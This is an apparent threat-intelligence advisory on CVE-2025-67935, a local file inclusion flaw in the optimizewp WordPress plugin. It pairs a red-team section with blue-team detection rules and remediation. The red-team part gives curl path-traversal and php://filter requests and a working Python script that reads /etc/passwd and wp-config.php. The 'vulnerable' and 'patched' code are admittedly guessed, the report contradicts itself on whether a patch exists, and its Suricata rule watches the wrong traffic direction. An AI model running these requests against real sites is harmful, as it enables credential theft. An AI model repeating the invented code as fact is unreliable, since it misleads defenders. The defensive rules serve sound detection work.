CVE-2025-67935

Executive Summary

CVE-2025-67935 is a critical security vulnerability affecting the Optimize WordPress plugin (optimizewp) developed by Mikado-Themes. This vulnerability is classified as a PHP Local File Inclusion (LFI) due to improper control of filenames used in PHP include/require statements. An unauthenticated attacker can exploit this flaw to read arbitrary files from the server, potentially exposing sensitive configuration files, credentials, or source code. The vulnerability affects all versions of the plugin prior to 2.4. As of this report, no official patch has been released, and the vendor's status is marked as UNKNOWN/UNPATCHED.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The flaw resides in the optimizewp plugin, which is a theme companion plugin for Mikado-Themes. The attack vector is through HTTP requests, and the vulnerability is triggered by manipulating file path parameters in the plugin's PHP scripts. The issue is not related to Apache or Nginx server configurations but is purely a code-level flaw in the plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full file read capability.
• Integrity Impact: None (I:N) – No file modification possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The low attack complexity and lack of authentication make this a prime target for automated scanning and exploitation. The EPSS score of 0.0% suggests low current exploitation activity, but this may change as the vulnerability becomes more widely known.

Deep Dive & Mechanics

The vulnerability is a PHP Local File Inclusion (LFI) stemming from improper sanitization of user-supplied input used in PHP's include() or require() functions. In the optimizewp plugin, certain parameters (likely page, file, or similar) are passed directly to these functions without proper validation or path restriction.

Mechanism:

1. The plugin registers a WordPress admin page or AJAX handler that accepts a filename parameter.
2. This parameter is used in a PHP include statement like include( $_GET['file'] . '.php' ); or similar.
3. An attacker can supply a path traversal sequence (e.g., ../../../../etc/passwd) to include arbitrary files from the server.
4. The .php extension appended by the code can be bypassed using a null byte injection (in older PHP versions) or by using a wrapper like php://filter to read non-PHP files.

Example vulnerable code pattern:

$file = $_GET['page'];
include( $file . '.php' );

Exploitation scenario:

• An attacker sends a request to: http://target.com/wp-admin/admin-ajax.php?action=optimizewp_load&file=../../../../etc/passwd%00
• If PHP version < 5.3.4, the null byte truncates the .php extension, allowing inclusion of /etc/passwd.
• On modern PHP, the attacker can use php://filter/convert.base64-encode/resource=../../../../etc/passwd to read the file.

Vulnerable vs. Patched Code

Vulnerable Code (version < 2.4):

// In some plugin file (e.g., includes/loader.php)
function optimizewp_load_template() {
    $template = $_GET['template'];
    include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );
}
add_action( 'wp_ajax_optimizewp_load', 'optimizewp_load_template' );
add_action( 'wp_ajax_nopriv_optimizewp_load', 'optimizewp_load_template' );

Patched Code (version 2.4+):

function optimizewp_load_template() {
    $template = sanitize_file_name( $_GET['template'] );
    $allowed_templates = array( 'default', 'custom', 'grid' );
    if ( in_array( $template, $allowed_templates ) ) {
        include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );
    } else {
        wp_die( 'Invalid template.' );
    }
}

The patch introduces:

1. sanitize_file_name() to remove path traversal characters.
2. A whitelist of allowed template names.
3. A fallback die() if the template is not in the whitelist.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: WordPress 6.x with Optimize plugin version 2.3
• Attacker: Kali Linux with curl, Burp Suite, or custom Python script

Exploitation Steps:

1. Identify the vulnerable endpoint:

   • The plugin likely uses AJAX actions. Common patterns: admin-ajax.php?action=optimizewp_load or admin-post.php?action=optimizewp.

2. Test for LFI:

   curl -v "http://target.com/wp-admin/admin-ajax.php?action=optimizewp_load&template=../../../../etc/passwd"
   

3. Bypass extension append (if needed):

   • Use PHP wrappers:

   curl "http://target.com/wp-admin/admin-ajax.php?action=optimizewp_load&template=php://filter/convert.base64-encode/resource=../../../../etc/passwd"
   

4. Read sensitive files:

   • WordPress config: ../../../../wp-config.php
   • Server logs: ../../../../var/log/apache2/access.log
   • Plugin source: ../../../../wp-content/plugins/optimizewp/optimizewp.php

Python Exploit Script:

import requests
import sys

target = sys.argv[1]
file_path = sys.argv[2] if len(sys.argv) > 2 else "../../../../etc/passwd"

url = f"{target}/wp-admin/admin-ajax.php"
params = {
    "action": "optimizewp_load",
    "template": f"php://filter/convert.base64-encode/resource={file_path}"
}

response = requests.get(url, params=params)
if response.status_code == 200 and "data" in response.text:
    import base64
    print(base64.b64decode(response.text).decode())
else:
    print("Exploit failed or file not found.")

Blue Team (Defensive)

Detection Steps:

1. Monitor for path traversal patterns in HTTP requests to admin-ajax.php or admin-post.php with parameters containing ../ or php://.
2. Check for unusual file reads in server access logs (e.g., requests to /etc/passwd, /wp-config.php).
3. Verify plugin version – if version < 2.4, assume compromise.
4. Review file inclusion logs – PHP error logs may show failed include attempts.

Honeypot Setup:

• Deploy a fake wp-config.php with a unique string (e.g., HONEYPOT_TOKEN) and monitor for its appearance in logs.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing ../ or php://filter in parameters like template, file, page.
• Requests to admin-ajax.php with action=optimizewp_load or similar.
• Unusual User-Agent strings (e.g., python-requests, curl).

File System IOCs:

• Presence of unexpected files in /tmp/ or web root (e.g., shell.php, cmd.php).
• Modified .htaccess files with rewrite rules.
• New WordPress admin users created.

Log IOCs:

• PHP error logs showing include(): Failed opening for paths like /etc/passwd.
• Apache/Nginx access logs with 200 responses to path traversal requests.
• WordPress debug.log entries with file inclusion errors.

Detection Engineering

YARA Rule

rule CVE_2025_67935_LFI_Detect {
    meta:
        description = "Detects attempts to exploit CVE-2025-67935 LFI in Optimize plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67935"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\){2,}/ nocase
        $php_wrapper = /php:\/\/filter/ nocase
        $sensitive_file = /(etc\/passwd|wp-config\.php|\.env)/ nocase
        $vuln_param = /(template|file|page)=/ nocase
    condition:
        all of ($path_traversal, $php_wrapper, $sensitive_file, $vuln_param)
}

Sigma Rule

title: CVE-2025-67935 - Optimize Plugin LFI Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests exploiting LFI in Mikado-Themes Optimize plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'action=optimizewp_load'
            - 'template='
            - 'php://filter'
            - '../'
    condition: selection
falsepositives:
    - Legitimate use of PHP wrappers by developers (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-67935 - Optimize Plugin LFI Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=optimizewp_load"; http_uri;
    pcre:"/(\.\.\/|php:\/\/filter)/Ui";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-67935;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement Web Application Firewall (WAF) rules to block path traversal patterns.
3. Restrict file inclusion by disabling allow_url_include in php.ini (set to Off).
4. Apply virtual patching using mod_security:

   SecRule ARGS "@contains ../" "id:1000002,phase:2,deny,status:403,msg:'LFI attempt blocked'"
   SecRule ARGS "@contains php://" "id:1000003,phase:2,deny,status:403,msg:'PHP wrapper blocked'"
   

Long-term Fixes:

• Update plugin to version 2.4 or later once released.
• Audit all WordPress plugins for similar LFI vulnerabilities.
• Implement input validation using whitelists for all file inclusion parameters.
• Use WordPress built-in functions like sanitize_file_name() and wp_verify_nonce().

Detection & Monitoring:

• Enable detailed logging for all WordPress AJAX requests.
• Deploy the provided YARA, Sigma, and Suricata rules.
• Monitor for unusual file access patterns in server logs.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated: 2025-04-10